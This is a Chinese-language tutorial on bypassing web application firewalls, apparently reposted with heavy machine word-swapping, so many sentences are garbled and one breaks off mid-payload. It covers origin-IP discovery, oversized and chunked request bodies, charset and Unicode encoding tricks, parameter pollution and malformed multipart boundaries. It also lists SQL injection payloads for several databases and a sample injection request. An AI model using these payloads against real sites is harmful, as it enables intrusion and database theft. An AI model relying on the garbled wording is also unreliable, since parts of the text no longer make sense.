过WAF(特别针对云WAF)
找寻真实世界IP(源站)绕开
假如网络流量都没历经WAF,WAF当然无法截击反击允诺。当前多数云WAF构架,例如腾讯云加速、阿里云盾等,透过更动DNS导出,把网络流量引入WAF软件产业,网络流量历经检验后转贴允诺到源站。如图,dict.com网络连接网络连接WAF后,dict.com的DNS导出结果对准WAF软件产业,用户的允诺将推送给WAF软件产业,WAF软件产业历经检验指出非反击允诺再发送至源站。
image-20211101163158685
绕开云WAF找寻真实世界IP与绕开CDN找寻真实世界IP的方法类似,能查看这首诗:
https://plumeria.ltd/post/efd52af7.html#CDN%E7%9A%84%E7%BB%95%E8%BF%87
借助同VLAN绕开
一些在云服务供应商的公交站点,同时使用云服务供应商提供的WAF服务。当网络流量并非透过DNS导出导流到WAF,网络流量必须历经WAF的检验,这是无法透过发行源站展开绕开。能考虑在云服务供应商买两台VPS,透过VPS反击最终目标公交站点,因为网络流量是以太网,可能不历经WAF检验,实现绕开。能无法成功,在我看来云服务供应商的网络配置。
借助边界线安全漏洞绕开
假如未能发现源站IP,能试著找寻谢利谢的SSRF安全漏洞。假如谢利谢访问最终目标站不历经WAF软件产业,能借助SSRF安全漏洞来绕开WAF。
天然资源限制角度绕开WAF
大容量报文绕开
这是不可否认、而又难解的难题。假如HTTP允诺POST BODY太大,检验所有的文档,WAF软件产业消耗太大的CPU、缓存天然资源。因此很多WAF只检验后面的几K二进制、1M、或2M。对于反击者viller,只需要在POST BODY后面加进很多罢了统计数据,把反击payload放在最后即可绕开WAF检验。
协定微观绕开WAF
即使网络流量都确保历经WAF,假如WAF的防御策略根本就没检验payload,那么也就能绕开WAF。协定微观绕开WAF,借助WAF导出协定的难题,使得payload被指出并非允诺的HTTP允诺的文档。
协定未覆盖绕开
在 http 新溪洲的 Content-Type 递交配置文件支持三种协定:
•application/x-www-form-urlencoded -代码商业模式•multipart/form-data -文档上载商业模式•text/plain -文档商业模式•application/json -json商业模式
文档头的特性是数据传输前对递交的统计数据展开代码推送到伺服器。当中 multipart/form-data 表示该统计数据被代码为一条最新消息,页上的每个命令行对应最新消息中的两个部分。所以,当 waf 没规则相匹配该协定数据传输的统计数据时可被绕开。
pipeline绕开
http协定是由tcp协定PCB而来,当应用程序发起两个http允诺时,应用程序先和伺服器建立起相连tcp相连,然后推送http报文(即我们用burpsuite捕获的统计数据),当中包含了两个Connection表头,一般值close,apache等罐子根据这个表头决定是保持该tcp相连或是接上。当推送的文档太大,超过两个http包容量,需要分多次推送时,值会变成keep-alive,即本次发起的http允诺所建立的tcp相连不接上,直到所推送文档结束Connection为close为止。
img
推送两个允诺,但绕开失败,被云锁截击,此种方法现在基本失效。
img
分块数据传输绕开
分块数据传输代码(Chunked transfer encoding)是只在HTTP协定1.1版本(HTTP/1.1)中提供的一种统计数据传送机制。以往HTTP的应答中统计数据是整个一起推送的,并在应答新溪洲Content-Length表头标识了统计数据的长度,以便客户端知道应答最新消息的结束。
分块代码具体方法
在头部加入Transfer-Encoding:chunked之后,就代表这个报文采用了分块代码。这时,报文中的实体需要改为用一系列分块来数据传输。
每个分块包含十六进制的长度值和统计数据,长度值独占一行,长度不包括它结尾的CRLF(\r\n),也不包括分块统计数据结尾的CRLF。
最后两个分块长度值必须为0,对应的分块统计数据没文档,表示实体结束。
例:
Content-Type: text/plain Transfer-Encoding: chunked 23\r\n This is the data in the first chunk\r\n 1A\r\n and this is the second one\r\n 3\r\n con\r\n 8\r\n sequence\r\n 0\r\n \r\n也能使用github上的插件实现分块数据传输
chunked-coding-converter:https://github.com/c0ny1/chunked-coding-converter
img
另类字符集代码绕开
Content-Type头中使用charset定义字符集的应用场景不只有在responses中,request中同样能使用。
常见的伺服器与可见代码如下所示:
伺服器信息可用代码说明
Nginx,
uWSGI-Django-Python3IBM037, IBM500, cp875, IBM1026, IBM273对参数名和参数值展开代码,伺服器会对参数名和参数值均展开url解码,需要对等号和& and展开代码(不展开url代码)Nginx,
uWSGI-Django-Python2IBM037, IBM500, cp875, IBM1026, utf-16, utf-32, utf-32BE, IBM424对参数名和参数值展开便慢慢 伺服器会对参数名和参数值均展开url解码 等号和&符号不应该以任何方式代码。
Apache-TOMCAT8-JVM1.8-JSPIBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025参数名按原始格式(能像往常一样使用url代码)Body不论是否历经url代码均可等号和&符号不应该以任何方式代码
Apache-TOMCAT7-JVM1.6-JSPIBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025参数名按原始格式(能像往常一样使用url代码) Body 不论是否历经url代码均可 等号和&符号不应该以任何方式代码IIS6, 7.5, 8, 10 -ASPX (v4.x)IBM037, IBM500, IBM870, cp875, IBM1026, IBM01047, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, unicodeFFFE, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420,IBM423, IBM424, x-EBCDIC-KoreanExtended, IBM-Thai, IBM871, IBM880, IBM905, IBM00924, cp1025参数名按原始格式(能像往常一样使用url代码) Body 不论是否历经url代码均可 等号和&符号不应该以任何方式代码规则缺陷/特性角度绕开WAF
空白符替换绕开
MySQL特性
select id,contents,time from news where news_id=1①union②select③1,2,username④from⑤admin
•位置①•能借助其它控制字符替换空格:%09,%0a,%0b,%0c,%0d,%20,%a0•能借助注释符号替换空格:/**/、%23est%0d%0a、 --+a%0d%0a•能借助数学运算以及统计数据类型:news_id=1.0,news_id=1E0,news_id=\N•位置②•能借助其它控制字符替换空格:%09,%0a,%0b,%0c,%0d,%20,%a0•能借助注释符号替换空格:/**/、%23test%0d%0a、 --+a%0d%0a•能借助括号:union(select 1,2)•位置③•能借助其它控制字符替换空格:%09,%0a,%0b,%0c,%0d,%20,%a0•能借助注释符号替换空格:/**/、%23test%0d%0a、 --+a%0d%0a•能借助其它符号:+ 、- 、 ~ 、!、@•位置④•能借助其它控制字符替换空格:%09,%0a,%0b,%0c,%0d,%20,%a0•能借助注释符号替换空格:/**/、%23test%0d%0a、 --+a%0d%0a•大括号{}:union select {``1},{x 2}•可借助数学运算以及统计数据类型:
union select usename,2.0from admin union select username,8e0from admin union select username,\Nfrom admin
•位置⑤•能借助其它控制字符替换空格:%09,%0a,%0b,%0c,%0d,%20,%a0•能借助注释符号替换空格:/**/、%23test%0d%0a、 --+a%0d%0a•反引号`:union select 1,table_name,3 from`information_schema`.`tables`limit 0,1%23•内联注释:union select 1,table_name,3 from /*!
50001information_schema.tables*/ limit 0,1%23•大括号{}:union select 1,table_name,3 from{x information_schema.tables}limit 0,1%23•小括号():union select 1,table_name,3 from(information_schema.tables)limit 0,1%23SQLServer特性
select id,contents,time from news where news_id=1①union②select③1,2,db_name()④from⑤admin
- 位置① - 能借助其它控制字符替换空格:%01~%0F、%11~%1F - 能借助注释符号:/**/、--+a%0d%0a - 可借助数学运算符以及统计数据类型:news_id=1.0,news_id=1e0,news_id=1-1 - 位置② - 能借助其它控制字符替换空格:%01~%0F、%11~%1F - 能借助注释符号:/**/、--+a%0d%0a - 能借助加号+替换空格:union+select - 位置③ - 能借助其它控制字符替换空格:%01~%0F、%11~%1F - 能借助注释符号:/**/、--+a%0d%0a - 可借助数学运算符:+、-、~、. (注:当中-、~、.号必须是select查询的第两个表头的统计数据类型为数字型才能使用) - 能借助小括号()替换空格:select(1),2,db_name() - 位置④ - 能借助其它控制字符替换空格:%01~%0F、%11~%1F - 能借助注释符号:/**/、--+a%0d%0a - 可借助其他字符:%80~%FF(需要IIS伺服器支持) - 位置⑤ - 能借助其它控制字符替换空格:%01~%0F、%11~%1F - 能借助注释符号:/**/、--+a%0d%0a - 可借助其他字符:%80~%FF(需要IIS伺服器支持) - 能借助点号.替换空格:from.users - 能借助中括号[]替换空格:from[users]Access特性
select id,contents,time from news where news_id=1①union②select③1,2,username④from⑤admin
•位置①•可借助其他控制字符替换空格:%09、%0a、%0c、%0d、%16•位置②•可借助其他控制字符替换空格:%09、%0a、%0c、%0d•位置③•可借助其他控制字符替换空格:%09、%0a、%0c、%0d•可使用其他字符:+、-、.、=
Oracle特性
select id,contents,time from news where news_id=1①union②select③1,2,username④from⑤admin
•位置①•可借助其他控制字符替换空格:%00、%09、%0a、%0b、%0c、%0d•能借助其它控制字符替换空格:%1f、%1d•可使用其他字符:.•位置②•可借助其他控制字符替换空格:%00、%09、%0a、%0b、%0c、%0d•位置③•可借助其他控制字符替换空格:%00、%09、%0a、%0b、%0c、%0d•可使用其他字符:-、+、%ad•位置④•可借助其他控制字符替换空格:%09、%0a、%0c、%0d•位置⑤•可借助其他控制字符替换空格:%09、%0a、%0c、%0d•可插入字符:%30%ff、%24、%7b%22%7b%76
PostgreSQL特性
select id,contents,time from news where news_id=1①union②select③1,2,username④from⑤admin
•位置①•可借助其他控制字符替换空格:%09、%0a、%0c、%0d•可使用其他字符:.、!•位置②•可借助其他控制字符替换空格:%09、%0a、%0c、%0d•位置③•可借助其他控制字符替换空格:%09、%0a、%0c、 %0d•可使用其他字符:.、~、@、-、+•位置④•可借助其他控制字符替换空格:%09、%0a、%0c、%0d•位置⑤•可借助其他控制字符替换空格:%09、%0a、%0c、%0d•可插入字符:%30~%ff、%24
函数分隔符绕开
对基于正则表达式的WAF,我们猜测安全工程师写WAF规则时,可能不知道函数名与左括号之间能存在特殊字符,或者遗漏能存在特殊字符。例如相匹配函数”concat()”的规则写法,“concat(”或者”concat\s*(”,就没考虑到一些特殊字符。相应的绕开方法,在特殊位置引入特殊的分隔符,逐个测试。这些特殊分隔符发现也是透过Fuzz出来的。
等价关键字绕开
有些函数或命令因其关键字被检验出来而无法使用但是在很多情况下能使用与之等价或类似的代码替代其使用。
以下举例了mysql中的等价关键字:
hex()、bin() ==> ascii() sleep() ==>benchmark() concat_ws()==>group_concat() mid()、substr() ==> substring() updatexml、extractvalue() ==> polygon() @@user ==> user() @@datadir ==> datadir() and ==> && or ==> || not ==> ! xor ==> | = ==> like != ==> <> limit 0,1 ==> limit 1 offset 0 union select ==> union select * from (select 1)a join (select 2)b ’‘ ==> "" admin ==> 0x61646D696E select * from users where id = 1 order 4 ==> select * from users where id = 1 into @a,@b,@c,@d加进库名绕开
以下两条查询语句,执行的结果是一致的,但是有些 waf 的截击规则 并不会拦 截[库名].[表名]这种商业模式。
ALL 或者 DISTINCT 绕开
去掉重复值
select 1,2 from users where user_id=1 union DISTINCT select 1,2 select 1,2 from users where user_id=1 union select DISTINCT 1,2显示全部
select 1,2 from users where user_id=1 union all select 1,2 select 1,2 from users where user_id=1 union select all 1,大小写绕开
常用于 waf的正则对大小写不敏感的情况,一般都是题目自己故意这样设计。
select * from users where id=1 UNION SELECT 1,2,3,4; select * from users where id=1 UniON SelECT 1,2,3,4双关键字绕开
在某一些简单的waf中,将关键字select等只使用replace()函数置换为空,这时候能使用双写关键字绕开。例如select变成seleselectct,在历经waf的处理之后又变成select,达到绕开的要求。
双重/多重URL代码绕开
双重url代码,即对于应用程序推送的统计数据展开了两次urlencode操作,如s做一次url代码是%73,再展开一次代码是%25%37%33。一般情况下统计数据历经WAF设备的时候只会做一次url解码,这样解码之后的统计数据一般不会相匹配到规则,达到了bypass的效果。
Unicode代码绕开
IIS伺服器支持对于unicode的导出,例如我们对于select中的字符展开unicode代码,能得到如下的s%u006c%u0006ect,这种字符在IIS接收到之后会被转换为select,但是对于WAF层,可能接收到的文档还是s%u006c%u0006ect,这样就会形成bypass的可能。
字符Unicode代码a%u0000 %u0041 %u0061 %u00aa %u00e2单引号%u0027 %u02b9 %u02bc %u02c8 %u2032 %uff07 %c0%27 %c0%a7 %e0%80%a7空白%u0020 %uff00 %c0%20 %c0%a0 %e0%80%a0左括号(%u0028 %uff08 %c0%28 %c0%a8 %e0%80%a8右括号)%u0029 %uff09 %c0%29 %c0%a9 %e0%80%a9
Emoji表情字符绕开
emoji是一串unicode字集组成,两个emoji图标能占2、4、7个二进制。且mysql支持emoji存储。
部分Emoji能插入到%23与%0A之间实现绕开。
json递交与xml递交绕开
有些程序是 json 递交参数,程序也是 json 接收再拼接到 SQL 执行 json 格式通 常不会被截击。所以能绕开 waf。
POST /06/vul/sqli/sqli_id.php HTTP/1.1 Host: 192.168.0.115 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type:application/json Content-Length: 38 Origin: http://192.168.0.115 Connection: close Referer: http://192.168.0.115/06/vul/sqli/sqli_id.php Cookie: PHPSESSID=e6sa76lft65q3fd25bilbc49v3; security_level=0 Upgrade-Insecure-Requests: 1 {id:1 union select 1,2,3,submit:1}image-20211101231132608
同样 text/xml 也不会被截击
特殊的百分号
在ASP/ASPX+IIS的环境中存在两个特性,就是特殊符号%,在该环境下当们我输入s%elect的时候,在WAF层可能导出出来的结果就是s%elect,但是在iis+asp的环境的时候,导出出来的结果为select。
HTTP参数污染
HPP是HTTP Parameter Pollution的缩写,意为HTTP参数污染。
在ASPX中,有两个比较特殊的HPP特性,当GET/POST/COOKIE同时递交的参数id,服务端接收参数id的顺序GET,POST,COOKIE,中间透过逗号链接,于是就有了这个idea。
UNION、SELECT、FROM 三个关键字分别放在GET/POST/COOKIE的位置,透过ASPX的这个特性连起来,堪称完美的两个姿势,压根不好防。
但姿势借助太过于局限:使用Request.Params["id"]来获取参数,G-P-C获取到参数拼接起来,仅仅作为Bypass撷取一种思路而已。
下表中列举了一些主流环境下的HPP情况:
image-20211101212812215
GET方法数据传输POST统计数据绕开
大家的常识是GET参数透过URL传递,POST放在Request body中。
但是在某些中间件(如IIS)中的GET允诺同样能数据传输POST统计数据。
畸形method绕开
某些WAF在处理统计数据的时候严格按照GET、POST等标准HTTP方法来获取统计数据,或者采用正则相匹配的方式来处理统计数据,可能因为WAF和WEB服务导出的前后不对等绕开WAF。
存在环境:Apache 2.X
某些apache版本在做GET允诺的时候,无论method为何值均会取出GET的文档。
image-20211101212939505
畸形的boundary绕开
PHP在导出multipart data的时候有自己的特性,对于boundary的识别,只取了逗号后面的文档,例如我们设置的boundary为----aaaa,123456,php导出的时候只识别了----aaaa,后面的文档均没识别。然而WAF在做导出的时候,有可能获取的是整个字符串,此时可能就会出现绕开。
存在环境:PHP
参数数量限制绕开
WAF在实际环境中为防止拒绝服务式反击 (denial of service attacks),默认最多导出前 100 个允诺参数 (包括同名的),更多的参数将直接忽略。
存在环境:Nginx+Lua WAF
image-20211101215241527
变换允诺方式绕开
假如php里使用$_REQUEST获取参数,那么php获取参数的默认优先级是:
$_COOKIE > $_POST > $_GET。此时WAF层只过滤get/post,但没过滤cookie,于是导致了绕开。
存在环境:PHP
信任白名单绕开
有些 WAF 会自带一些文档白名单,对于白名单 waf 不会截击任何操作,所以可 以借助这个特点,能试试白名单绕开。
白名单通常有目录:
/admin /phpmyadmin /admin.phpimage-20211101220538726
静态文档绕开
除了白名单信任文档和目录外,还有一部分 waf 并不会对静态文档展开截击。例如 图片文档 jpg 、png 、gif 或者 css 、js 会对这些静态文档的操作不会 展开检验从而绕开 waf 截击。
/1.jpg&name=vince+&submit=1 /1.jpg=/1.jpg&name=vince+&submit=1 /1.css=/1.css&name=vince+&submit=1image-20211101230701225
PostgreSQL字符串特性绕开
由于 postgres 会将双引号中的文档指出是两个表名/表头名,同时在双引号引起的字符串中使用 U& 前缀转义是合法的,所以当过滤了 information_schema 等关键名称时,能将其用双引号引用并在其后面 加入 U&转义前缀,同时将当中某个字符替换为对应的 Unicode 表现形式来绕开 WAF。
例如:以下语句同样会返回所有的 Schema
select U&"tabl\0065_sch\0065ma" from U&"inform\0061tion_sch\0065ma".U&"t\0061bles" where U&"tabl\0065_sch\0065ma" not in (U&pg_cat\0061log,U&inform\0061tion_sch\0065ma) group by 1;请立即点击咨询我们或拨打咨询热线: ,我们会详细为你一一解答你心中的疑难。项目经理在线